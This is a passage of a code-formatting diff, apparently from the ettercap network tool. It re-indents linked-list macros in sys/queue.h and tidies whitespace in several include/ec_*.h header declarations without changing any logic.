Singly-linked List access methods. */ @@ -118,67 +118,71 @@ struct { \ #define SLIST_EMPTY(head) (SLIST_FIRST(head) == SLIST_END(head)) #define SLIST_NEXT(elm, field) ((elm)->field.sle_next) -#define SLIST_FOREACH(var, head, field) \ - for((var) = SLIST_FIRST(head); \ - (var) != SLIST_END(head); \ - (var) = SLIST_NEXT(var, field)) +#define SLIST_FOREACH(var, head, field) \ + for ((var) = SLIST_FIRST(head); \ + (var) != SLIST_END(head); \ + (var) = SLIST_NEXT(var, field)) - -#define SLIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = SLIST_FIRST((head)); \ - (var) && ((tvar) = SLIST_NEXT((var), field), 1); \ - (var) = (tvar)) +#define SLIST_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = SLIST_FIRST((head)); \ + (var) && ((tvar) = SLIST_NEXT((var), field), 1); \ + (var) = (tvar)) /* * Singly-linked List functions. */ -#define SLIST_INIT(head) { \ - SLIST_FIRST(head) = SLIST_END(head); \ -} - -#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ - (elm)->field.sle_next = (slistelm)->field.sle_next; \ - (slistelm)->field.sle_next = (elm); \ -} while (0) - -#define SLIST_INSERT_HEAD(head, elm, field) do { \ - (elm)->field.sle_next = (head)->slh_first; \ - (head)->slh_first = (elm); \ -} while (0) - -#define SLIST_REMOVE_HEAD(head, field) do { \ - (head)->slh_first = (head)->slh_first->field.sle_next; \ -} while (0) - -#define SLIST_REMOVE(head, elm, type, field) do { \ - if ((head)->slh_first == (elm)) { \ - SLIST_REMOVE_HEAD((head), field); \ - } \ - else { \ - struct type *curelm = (head)->slh_first; \ - while( curelm->field.sle_next != (elm) ) \ - curelm = curelm->field.sle_next; \ - curelm->field.sle_next = \ - curelm->field.sle_next->field.sle_next; \ - } \ -} while (0) +#define SLIST_INIT(head) \ + { \ + SLIST_FIRST(head) = SLIST_END(head); \ + } + +#define SLIST_INSERT_AFTER(slistelm, elm, field) \ + do { \ + (elm)->field.sle_next = (slistelm)->field.sle_next; \ + (slistelm)->field.sle_next = (elm); \ + } while (0) + +#define SLIST_INSERT_HEAD(head, elm, field) \ + do { \ + (elm)->field.sle_next = (head)->slh_first; \ + (head)->slh_first = (elm); \ + } while (0) + +#define SLIST_REMOVE_HEAD(head, field) \ + do { \ + (head)->slh_first = (head)->slh_first->field.sle_next; \ + } while (0) + +#define SLIST_REMOVE(head, elm, type, field) \ + do { \ + if ((head)->slh_first == (elm)) { \ + SLIST_REMOVE_HEAD((head), field); \ + } \ + else { \ + struct type *curelm = (head)->slh_first; \ + while (curelm->field.sle_next != (elm)) \ + curelm = curelm->field.sle_next; \ + curelm->field.sle_next = \ + curelm->field.sle_next->field.sle_next; \ + } \ + } while (0) /* * List definitions. */ -#define LIST_HEAD(name, type) \ -struct name { \ - struct type *lh_first; /* first element */ \ -} +#define LIST_HEAD(name, type) \ + struct name { \ + struct type *lh_first; /* first element */ \ + } -#define LIST_HEAD_INITIALIZER(head) \ - { NULL } +#define LIST_HEAD_INITIALIZER(head) \ + { NULL } -#define LIST_ENTRY(type) \ -struct { \ - struct type *le_next; /* next element */ \ - struct type **le_prev; /* address of previous next element */ \ -} +#define LIST_ENTRY(type) \ + struct { \ + struct type *le_next; /* next element */ \ + struct type **le_prev; /* address of previous next element */ \ + } /* * List access methods @@ -188,78 +192,82 @@ struct { \ #define LIST_EMPTY(head) (LIST_FIRST(head) == LIST_END(head)) #define LIST_NEXT(elm, field) ((elm)->field.le_next) -#define LIST_FOREACH(var, head, field) \ - for((var) = LIST_FIRST(head); \ - (var)!= LIST_END(head); \ - (var) = LIST_NEXT(var, field)) - -#define LIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = LIST_FIRST((head)); \ - (var) && ((tvar) = LIST_NEXT((var), field), 1); \ - (var) = (tvar)) +#define LIST_FOREACH(var, head, field) \ + for ((var) = LIST_FIRST(head); \ + (var) != LIST_END(head); \ + (var) = LIST_NEXT(var, field)) - +#define LIST_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = LIST_FIRST((head)); \ + (var) && ((tvar) = LIST_NEXT((var), field), 1); \ + (var) = (tvar)) /* * List functions. */ -#define LIST_INIT(head) do { \ - LIST_FIRST(head) = LIST_END(head); \ -} while (0) - -#define LIST_INSERT_AFTER(listelm, elm, field) do { \ - if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ - (listelm)->field.le_next->field.le_prev = \ - &(elm)->field.le_next; \ - (listelm)->field.le_next = (elm); \ - (elm)->field.le_prev = &(listelm)->field.le_next; \ -} while (0) - -#define LIST_INSERT_BEFORE(listelm, elm, field) do { \ - (elm)->field.le_prev = (listelm)->field.le_prev; \ - (elm)->field.le_next = (listelm); \ - *(listelm)->field.le_prev = (elm); \ - (listelm)->field.le_prev = &(elm)->field.le_next; \ -} while (0) - -#define LIST_INSERT_HEAD(head, elm, field) do { \ - if (((elm)->field.le_next = (head)->lh_first) != NULL) \ - (head)->lh_first->field.le_prev = &(elm)->field.le_next;\ - (head)->lh_first = (elm); \ - (elm)->field.le_prev = &(head)->lh_first; \ -} while (0) - -#define LIST_REMOVE(elm, field) do { \ - if ((elm)->field.le_next != NULL) \ - (elm)->field.le_next->field.le_prev = \ - (elm)->field.le_prev; \ - *(elm)->field.le_prev = (elm)->field.le_next; \ -} while (0) - -#define LIST_REPLACE(elm, elm2, field) do { \ - if (((elm2)->field.le_next = (elm)->field.le_next) != NULL) \ - (elm2)->field.le_next->field.le_prev = \ - &(elm2)->field.le_next; \ - (elm2)->field.le_prev = (elm)->field.le_prev; \ - *(elm2)->field.le_prev = (elm2); \ -} while (0) +#define LIST_INIT(head) \ + do { \ + LIST_FIRST(head) = LIST_END(head); \ + } while (0) + +#define LIST_INSERT_AFTER(listelm, elm, field) \ + do { \ + if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ + (listelm)->field.le_next->field.le_prev = \ + &(elm)->field.le_next; \ + (listelm)->field.le_next = (elm); \ + (elm)->field.le_prev = &(listelm)->field.le_next; \ + } while (0) + +#define LIST_INSERT_BEFORE(listelm, elm, field) \ + do { \ + (elm)->field.le_prev = (listelm)->field.le_prev; \ + (elm)->field.le_next = (listelm); \ + *(listelm)->field.le_prev = (elm); \ + (listelm)->field.le_prev = &(elm)->field.le_next; \ + } while (0) + +#define LIST_INSERT_HEAD(head, elm, field) \ + do { \ + if (((elm)->field.le_next = (head)->lh_first) != NULL) \ + (head)->lh_first->field.le_prev = &(elm)->field.le_next; \ + (head)->lh_first = (elm); \ + (elm)->field.le_prev = &(head)->lh_first; \ + } while (0) + +#define LIST_REMOVE(elm, field) \ + do { \ + if ((elm)->field.le_next != NULL) \ + (elm)->field.le_next->field.le_prev = \ + (elm)->field.le_prev; \ + *(elm)->field.le_prev = (elm)->field.le_next; \ + } while (0) + +#define LIST_REPLACE(elm, elm2, field) \ + do { \ + if (((elm2)->field.le_next = (elm)->field.le_next) != NULL) \ + (elm2)->field.le_next->field.le_prev = \ + &(elm2)->field.le_next; \ + (elm2)->field.le_prev = (elm)->field.le_prev; \ + *(elm2)->field.le_prev = (elm2); \ + } while (0) /* * Simple queue definitions. */ -#define STAILQ_HEAD(name, type) \ -struct name { \ - struct type *sqh_first; /* first element */ \ - struct type **sqh_last; /* addr of last next element */ \ -} +#define STAILQ_HEAD(name, type) \ + struct name { \ + struct type *sqh_first; /* first element */ \ + struct type **sqh_last; /* addr of last next element */ \ + } -#define STAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).sqh_first } +#define STAILQ_HEAD_INITIALIZER(head) \ + { NULL, &(head).sqh_first } -#define STAILQ_ENTRY(type) \ -struct { \ - struct type *sqe_next; /* next element */ \ -} +#define STAILQ_ENTRY(type) \ + struct { \ + struct type *sqe_next; /* next element */ \ + } /* * Simple queue access methods. @@ -269,159 +277,170 @@ struct { \ #define STAILQ_EMPTY(head) (STAILQ_FIRST(head) == STAILQ_END(head)) #define STAILQ_NEXT(elm, field) ((elm)->field.sqe_next) -#define STAILQ_FOREACH(var, head, field) \ - for((var) = STAILQ_FIRST(head); \ - (var) != STAILQ_END(head); \ - (var) = STAILQ_NEXT(var, field)) +#define STAILQ_FOREACH(var, head, field) \ + for ((var) = STAILQ_FIRST(head); \ + (var) != STAILQ_END(head); \ + (var) = STAILQ_NEXT(var, field)) + +#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = STAILQ_FIRST((head)); \ + (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \ + (var) = (tvar)) -#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = STAILQ_FIRST((head)); \ - (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - /* * Simple queue functions. */ -#define STAILQ_INIT(head) do { \ - (head)->sqh_first = NULL; \ - (head)->sqh_last = &(head)->sqh_first; \ -} while (0) - -#define STAILQ_INSERT_HEAD(head, elm, field) do { \ - if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ - (head)->sqh_last = &(elm)->field.sqe_next; \ - (head)->sqh_first = (elm); \ -} while (0) - -#define STAILQ_INSERT_TAIL(head, elm, field) do { \ - (elm)->field.sqe_next = NULL; \ - *(head)->sqh_last = (elm); \ - (head)->sqh_last = &(elm)->field.sqe_next; \ -} while (0) - -#define STAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ - if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\ - (head)->sqh_last = &(elm)->field.sqe_next; \ - (listelm)->field.sqe_next = (elm); \ -} while (0) - -#define STAILQ_REMOVE_HEAD(head, elm, field) do { \ - if (((head)->sqh_first = (elm)->field.sqe_next) == NULL) \ - (head)->sqh_last = &(head)->sqh_first; \ -} while (0) +#define STAILQ_INIT(head) \ + do { \ + (head)->sqh_first = NULL; \ + (head)->sqh_last = &(head)->sqh_first; \ + } while (0) + +#define STAILQ_INSERT_HEAD(head, elm, field) \ + do { \ + if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (head)->sqh_first = (elm); \ + } while (0) + +#define STAILQ_INSERT_TAIL(head, elm, field) \ + do { \ + (elm)->field.sqe_next = NULL; \ + *(head)->sqh_last = (elm); \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + } while (0) + +#define STAILQ_INSERT_AFTER(head, listelm, elm, field) \ + do { \ + if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL) \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (listelm)->field.sqe_next = (elm); \ + } while (0) + +#define STAILQ_REMOVE_HEAD(head, elm, field) \ + do { \ + if (((head)->sqh_first = (elm)->field.sqe_next) == NULL) \ + (head)->sqh_last = &(head)->sqh_first; \ + } while (0) /* * Tail queue definitions. */ -#define TAILQ_HEAD(name, type) \ -struct name { \ - struct type *tqh_first; /* first element */ \ - struct type **tqh_last; /* addr of last next element */ \ -} - -#define TAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).tqh_first } - -#define TAILQ_ENTRY(type) \ -struct { \ - struct type *tqe_next; /* next element */ \ - struct type **tqe_prev; /* address of previous next element */ \ -} - -/* - * tail queue access methods +#define TAILQ_HEAD(name, type) \ + struct name { \ + struct type *tqh_first; /* first element */ \ + struct type **tqh_last; /* addr of last next element */ \ + } + +#define TAILQ_HEAD_INITIALIZER(head) \ + { NULL, &(head).tqh_first } + +#define TAILQ_ENTRY(type) \ + struct { \ + struct type *tqe_next; /* next element */ \ + struct type **tqe_prev; /* address of previous next element */ \ + } + +/* + * tail queue access methods */ #define TAILQ_FIRST(head) ((head)->tqh_first) #define TAILQ_END(head) NULL #define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) -#define TAILQ_LAST(head, headname) \ - (*(((struct headname *)((head)->tqh_last))->tqh_last)) +#define TAILQ_LAST(head, headname) \ + (*(((struct headname *)((head)->tqh_last))->tqh_last)) /* XXX */ -#define TAILQ_PREV(elm, headname, field) \ - (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) -#define TAILQ_EMPTY(head) \ - (TAILQ_FIRST(head) == TAILQ_END(head)) - -#define TAILQ_FOREACH(var, head, field) \ - for((var) = TAILQ_FIRST(head); \ - (var) != TAILQ_END(head); \ - (var) = TAILQ_NEXT(var, field)) - -#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = TAILQ_FIRST((head)); \ - (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define TAILQ_FOREACH_REVERSE(var, head, field, headname) \ - for((var) = TAILQ_LAST(head, headname); \ - (var) != TAILQ_END(head); \ - (var) = TAILQ_PREV(var, headname, field)) - -#define TAILQ_FOREACH_REVERSE_SAFE(var, head, field, headname, tvar) \ - for ((var) = TAILQ_LAST((head), headname); \ - (var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \ - (var) = (tvar)) - +#define TAILQ_PREV(elm, headname, field) \ + (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) +#define TAILQ_EMPTY(head) \ + (TAILQ_FIRST(head) == TAILQ_END(head)) + +#define TAILQ_FOREACH(var, head, field) \ + for ((var) = TAILQ_FIRST(head); \ + (var) != TAILQ_END(head); \ + (var) = TAILQ_NEXT(var, field)) + +#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = TAILQ_FIRST((head)); \ + (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ + (var) = (tvar)) + +#define TAILQ_FOREACH_REVERSE(var, head, field, headname) \ + for ((var) = TAILQ_LAST(head, headname); \ + (var) != TAILQ_END(head); \ + (var) = TAILQ_PREV(var, headname, field)) + +#define TAILQ_FOREACH_REVERSE_SAFE(var, head, field, headname, tvar) \ + for ((var) = TAILQ_LAST((head), headname); \ + (var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \ + (var) = (tvar)) + /* * Tail queue functions. */ -#define TAILQ_INIT(head) do { \ - (head)->tqh_first = NULL; \ - (head)->tqh_last = &(head)->tqh_first; \ -} while (0) - -#define TAILQ_INSERT_HEAD(head, elm, field) do { \ - if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ - (head)->tqh_first->field.tqe_prev = \ - &(elm)->field.tqe_next; \ - else \ - (head)->tqh_last = &(elm)->field.tqe_next; \ - (head)->tqh_first = (elm); \ - (elm)->field.tqe_prev = &(head)->tqh_first; \ -} while (0) - -#define TAILQ_INSERT_TAIL(head, elm, field) do { \ - (elm)->field.tqe_next = NULL; \ - (elm)->field.tqe_prev = (head)->tqh_last; \ - *(head)->tqh_last = (elm); \ - (head)->tqh_last = &(elm)->field.tqe_next; \ -} while (0) - -#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ - if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\ - (elm)->field.tqe_next->field.tqe_prev = \ - &(elm)->field.tqe_next; \ - else \ - (head)->tqh_last = &(elm)->field.tqe_next; \ - (listelm)->field.tqe_next = (elm); \ - (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ -} while (0) - -#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ - (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ - (elm)->field.tqe_next = (listelm); \ - *(listelm)->field.tqe_prev = (elm); \ - (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ -} while (0) - -#define TAILQ_REMOVE(head, elm, field) do { \ - if (((elm)->field.tqe_next) != NULL) \ - (elm)->field.tqe_next->field.tqe_prev = \ - (elm)->field.tqe_prev; \ - else \ - (head)->tqh_last = (elm)->field.tqe_prev; \ - *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ -} while (0) - -#define TAILQ_REPLACE(head, elm, elm2, field) do { \ - if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != NULL) \ - (elm2)->field.tqe_next->field.tqe_prev = \ - &(elm2)->field.tqe_next; \ - else \ - (head)->tqh_last = &(elm2)->field.tqe_next; \ - (elm2)->field.tqe_prev = (elm)->field.tqe_prev; \ - *(elm2)->field.tqe_prev = (elm2); \ -} while (0) - - -#endif /* !_SYS_QUEUE_H_ */ +#define TAILQ_INIT(head) \ + do { \ + (head)->tqh_first = NULL; \ + (head)->tqh_last = &(head)->tqh_first; \ + } while (0) + +#define TAILQ_INSERT_HEAD(head, elm, field) \ + do { \ + if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ + (head)->tqh_first->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (head)->tqh_first = (elm); \ + (elm)->field.tqe_prev = &(head)->tqh_first; \ + } while (0) + +#define TAILQ_INSERT_TAIL(head, elm, field) \ + do { \ + (elm)->field.tqe_next = NULL; \ + (elm)->field.tqe_prev = (head)->tqh_last; \ + *(head)->tqh_last = (elm); \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + } while (0) + +#define TAILQ_INSERT_AFTER(head, listelm, elm, field) \ + do { \ + if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL) \ + (elm)->field.tqe_next->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (listelm)->field.tqe_next = (elm); \ + (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ + } while (0) + +#define TAILQ_INSERT_BEFORE(listelm, elm, field) \ + do { \ + (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ + (elm)->field.tqe_next = (listelm); \ + *(listelm)->field.tqe_prev = (elm); \ + (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ + } while (0) + +#define TAILQ_REMOVE(head, elm, field) \ + do { \ + if (((elm)->field.tqe_next) != NULL) \ + (elm)->field.tqe_next->field.tqe_prev = \ + (elm)->field.tqe_prev; \ + else \ + (head)->tqh_last = (elm)->field.tqe_prev; \ + *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ + } while (0) + +#define TAILQ_REPLACE(head, elm, elm2, field) \ + do { \ + if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != NULL) \ + (elm2)->field.tqe_next->field.tqe_prev = \ + &(elm2)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm2)->field.tqe_next; \ + (elm2)->field.tqe_prev = (elm)->field.tqe_prev; \ + *(elm2)->field.tqe_prev = (elm2); \ + } while (0) + +#endif /* !_SYS_QUEUE_H_ */ diff --git a/include/ec_resolv.h b/include/ec_resolv.h index cabba7948..acd3b714c 100644 --- a/include/ec_resolv.h +++ b/include/ec_resolv.h @@ -4,13 +4,13 @@ #include #ifdef HAVE_ARPA_NAMESER_H - #include - #ifndef OS_BSD_OPEN - #include - #endif - #include +#include +#ifndef OS_BSD_OPEN +#include +#endif +#include #else - #include +#include #endif /* @@ -19,24 +19,22 @@ */ #if !defined HAVE_NS_GET && !defined NS_GET16 - /* functions */ - #define NS_GET16 GETSHORT - #define NS_GET32 GETLONG - #define NS_PUT16 PUTSHORT - #define NS_PUT32 PUTLONG - /* constants */ - #define NS_MAXDNAME MAXDNAME - #define ns_c_in C_IN - #define ns_r_noerror NOERROR - #define ns_t_cname T_CNAME - #define ns_t_ptr T_PTR - #define ns_t_a T_A - #define ns_t_mx T_MX - #define ns_o_query QUERY +/* functions */ +#define NS_GET16 GETSHORT +#define NS_GET32 GETLONG +#define NS_PUT16 PUTSHORT +#define NS_PUT32 PUTLONG +/* constants */ +#define NS_MAXDNAME MAXDNAME +#define ns_c_in C_IN +#define ns_r_noerror NOERROR +#define ns_t_cname T_CNAME +#define ns_t_ptr T_PTR +#define ns_t_a T_A +#define ns_t_mx T_MX +#define ns_o_query QUERY #endif - - #define MAX_HOSTNAME_LEN 64 EC_API_EXTERN int host_iptoa(struct ip_addr *ip, char *name); @@ -46,12 +44,9 @@ EC_API_EXTERN void resolv_cache_insert_passive(struct ip_addr *ip, char *name); /* initialize and teardown name resolver threads */ EC_API_EXTERN void resolv_thread_init(void); EC_API_EXTERN void resolv_thread_fini(void); - - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_scan.h b/include/ec_scan.h index 1f27e888b..6f52dde80 100644 --- a/include/ec_scan.h +++ b/include/ec_scan.h @@ -13,4 +13,3 @@ EC_API_EXTERN int scan_save_hosts(char *filename); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_send.h b/include/ec_send.h index 36f51f2eb..0fa1306a2 100644 --- a/include/ec_send.h +++ b/include/ec_send.h @@ -27,7 +27,7 @@ EC_API_EXTERN int send_L3_icmp_unreach(struct packet_object *po); #ifdef WITH_IPV6 EC_API_EXTERN int send_L3_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip); EC_API_EXTERN int send_L2_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac); -EC_API_EXTERN int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8* o_data, u_int32 o_len, u_int8 *tmac); +EC_API_EXTERN int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8 *o_data, u_int32 o_len, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr *tgt, u_int8 *macaddr, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr, int router, u_int8 *tmac); #endif @@ -37,8 +37,8 @@ EC_API_EXTERN void capture_only_incoming(pcap_t *p, libnet_t *l); EC_API_EXTERN u_int8 MEDIA_BROADCAST[MEDIA_ADDR_LEN]; EC_API_EXTERN u_int8 ARP_BROADCAST[MEDIA_ADDR_LEN]; -#define FUNC_BUILDER(func) libnet_ptag_t func(u_int8 *dst, u_int16 proto, libnet_t* l) -#define FUNC_BUILDER_PTR(func) libnet_ptag_t (*func)(u_int8 *dst, u_int16 proto, libnet_t* l) +#define FUNC_BUILDER(func) libnet_ptag_t func(u_int8 * dst, u_int16 proto, libnet_t * l) +#define FUNC_BUILDER_PTR(func) libnet_ptag_t (*func)(u_int8 *dst, u_int16 proto, libnet_t *l) EC_API_EXTERN void add_builder(u_int8 dlt, FUNC_BUILDER_PTR(builder)); @@ -47,4 +47,3 @@ EC_API_EXTERN void add_builder(u_int8 dlt, FUNC_BUILDER_PTR(builder)); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_services.h b/include/ec_services.h index 4408a6da0..73132c7fb 100644 --- a/include/ec_services.h +++ b/include/ec_services.h @@ -2,12 +2,10 @@ #define ETTERCAP_SERVICES_H EC_API_EXTERN int services_init(void); -EC_API_EXTERN char * service_search(u_int32 serv, u_int8 proto); - +EC_API_EXTERN char *service_search(u_int32 serv, u_int8 proto); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_session.h b/include/ec_session.h index 40fbf79d5..42b382bb0 100644 --- a/include/ec_session.h +++ b/include/ec_session.h @@ -18,11 +18,9 @@ EC_API_EXTERN int session_get(struct ec_session **s, void *ident, size_t ident_l EC_API_EXTERN int session_del(void *ident, size_t ident_len); EC_API_EXTERN int session_get_and_del(struct ec_session **s, void *ident, size_t ident_len); EC_API_EXTERN void session_free(struct ec_session *s); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_session_tcp.h b/include/ec_session_tcp.h index 0babffbe6..8b0644ac1 100644 --- a/include/ec_session_tcp.h +++ b/include/ec_session_tcp.h @@ -3,10 +3,10 @@ /* Session data structure */ struct tcp_half_status { - u_int32 last_seq; - u_int32 last_ack; - int32 seq_adj; - u_char injectable; + u_int32 last_seq; + u_int32 last_ack; + int32 seq_adj; + u_char injectable; #define INJ_FIN 1 #define INJ_FWD 2 }; @@ -15,14 +15,11 @@ struct tcp_status { struct tcp_half_status way[2]; }; - -EC_API_EXTERN size_t tcp_create_ident(void **i, struct packet_object *po); +EC_API_EXTERN size_t tcp_create_ident(void **i, struct packet_object *po); EC_API_EXTERN int tcp_find_direction(void *ids, void *id); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_set.h b/include/ec_set.h index 19df29e0d..18155c9f3 100644 --- a/include/ec_set.h +++ b/include/ec_set.h @@ -52,4 +52,3 @@ EC_API_EXTERN void set_target_target2(char *target2); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_signals.h b/include/ec_signals.h index c580ba143..2fbb0274a 100644 --- a/include/ec_signals.h +++ b/include/ec_signals.h @@ -8,4 +8,3 @@ EC_API_EXTERN void signal_handler(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_sniff.h b/include/ec_sniff.h index bd977533e..eea5e573d 100644 --- a/include/ec_sniff.h +++ b/include/ec_sniff.h @@ -5,8 +5,8 @@ struct sniffing_method { char type; /* the type of the sniffing method */ - #define SM_UNIFIED 0 - #define SM_BRIDGED 1 +#define SM_UNIFIED 0 +#define SM_BRIDGED 1 char active; /* true if the sniff was started */ void (*start)(void); void (*cleanup)(void); @@ -41,4 +41,3 @@ EC_API_EXTERN void free_ip_list(struct target_env *t); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_sniff_bridge.h b/include/ec_sniff_bridge.h index 8adfe52e1..bc3146bb5 100644 --- a/include/ec_sniff_bridge.h +++ b/include/ec_sniff_bridge.h @@ -16,4 +16,3 @@ EC_API_EXTERN void bridge_set_forwardable(struct packet_object *po); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_sniff_unified.h b/include/ec_sniff_unified.h index 765f04286..40a29b6a8 100644 --- a/include/ec_sniff_unified.h +++ b/include/ec_sniff_unified.h @@ -14,4 +14,3 @@ EC_API_EXTERN void unified_set_forwardable(struct packet_object *po); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_socket.h b/include/ec_socket.h index 34004fcbf..e8087ff2e 100644 --- a/include/ec_socket.h +++ b/include/ec_socket.h @@ -3,9 +3,9 @@ /* The never ending errno problems... */ #if defined(OS_WINDOWS) && !defined(OS_CYGWIN) - #define GET_SOCK_ERRNO() WSAGetLastError() +#define GET_SOCK_ERRNO() WSAGetLastError() #else - #define GET_SOCK_ERRNO() errno +#define GET_SOCK_ERRNO() errno #endif EC_API_EXTERN int open_socket(const char *host, u_int16 port); @@ -19,4 +19,3 @@ EC_API_EXTERN int socket_recv(int s, u_char *payload, size_t size); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_sslwrap.h b/include/ec_sslwrap.h index 311972b3f..85fea190c 100644 --- a/include/ec_sslwrap.h +++ b/include/ec_sslwrap.h @@ -9,12 +9,11 @@ EC_API_EXTERN void sslw_dissect_move(char *name, u_int16 port); EC_API_EXTERN EC_THREAD_FUNC(sslw_start); EC_API_EXTERN void ssl_wrap_init(void); -#define SSL_DISABLED 0 -#define SSL_ENABLED 1 +#define SSL_DISABLED 0 +#define SSL_ENABLED 1 #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_stats.h b/include/ec_stats.h index 70d5705ca..2222888dc 100644 --- a/include/ec_stats.h +++ b/include/ec_stats.h @@ -2,7 +2,7 @@ #define ETTERCAP_STATS_H /* - * this struct contains all field to collect + * this struct contains all field to collect * statistics about packet and byte rate * for the bottom and top half */ @@ -21,7 +21,7 @@ struct half_stats { unsigned long thru_worst; }; -/* +/* * global statistics: bottom and top half + queue */ @@ -41,24 +41,25 @@ struct gbl_stats { unsigned long queue_curr; }; -#define time_sub(a, b, result) do { \ - (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ - (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ - if ((result)->tv_usec < 0) { \ - --(result)->tv_sec; \ - (result)->tv_usec += 1000000; \ - } \ -} while (0) - -#define time_add(a, b, result) do { \ - (result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \ - (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \ - if ((result)->tv_usec >= 1000000) { \ - ++(result)->tv_sec; \ - (result)->tv_usec -= 1000000; \ - } \ -} while (0) - +#define time_sub(a, b, result) \ + do { \ + (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ + (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ + if ((result)->tv_usec < 0) { \ + --(result)->tv_sec; \ + (result)->tv_usec += 1000000; \ + } \ + } while (0) + +#define time_add(a, b, result) \ + do { \ + (result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \ + (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \ + if ((result)->tv_usec >= 1000000) { \ + ++(result)->tv_sec; \ + (result)->tv_usec -= 1000000; \ + } \ + } while (0) /* exports */ @@ -71,10 +72,8 @@ EC_API_EXTERN unsigned long stats_queue_del(void); EC_API_EXTERN void stats_half_start(struct half_stats *hs); EC_API_EXTERN void stats_half_end(struct half_stats *hs, u_int len); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_stdint.h b/include/ec_stdint.h index 996cb73ac..5c0df3e38 100644 --- a/include/ec_stdint.h +++ b/include/ec_stdint.h @@ -4,74 +4,74 @@ #include #if defined HAVE_STDINT_H && !defined OS_SOLARIS - #include +#include #elif !defined OS_SOLARIS - #include +#include #elif defined OS_SOLARIS - #include +#include #endif #if defined HAVE_INTTYPES_H - #include +#include #else /* HAVE_INTTYPES_H */ - #if __WORDSIZE == 64 - #define __PRI64_PREFIX "l" - #else - #define __PRI64_PREFIX "ll" - #endif +#if __WORDSIZE == 64 +#define __PRI64_PREFIX "l" +#else +#define __PRI64_PREFIX "ll" +#endif #ifndef PRId64 - #define PRId64 __PRI64_PREFIX "d" +#define PRId64 __PRI64_PREFIX "d" #endif #ifndef PRIu64 - #define PRIu64 __PRI64_PREFIX "u" +#define PRIu64 __PRI64_PREFIX "u" #endif #endif 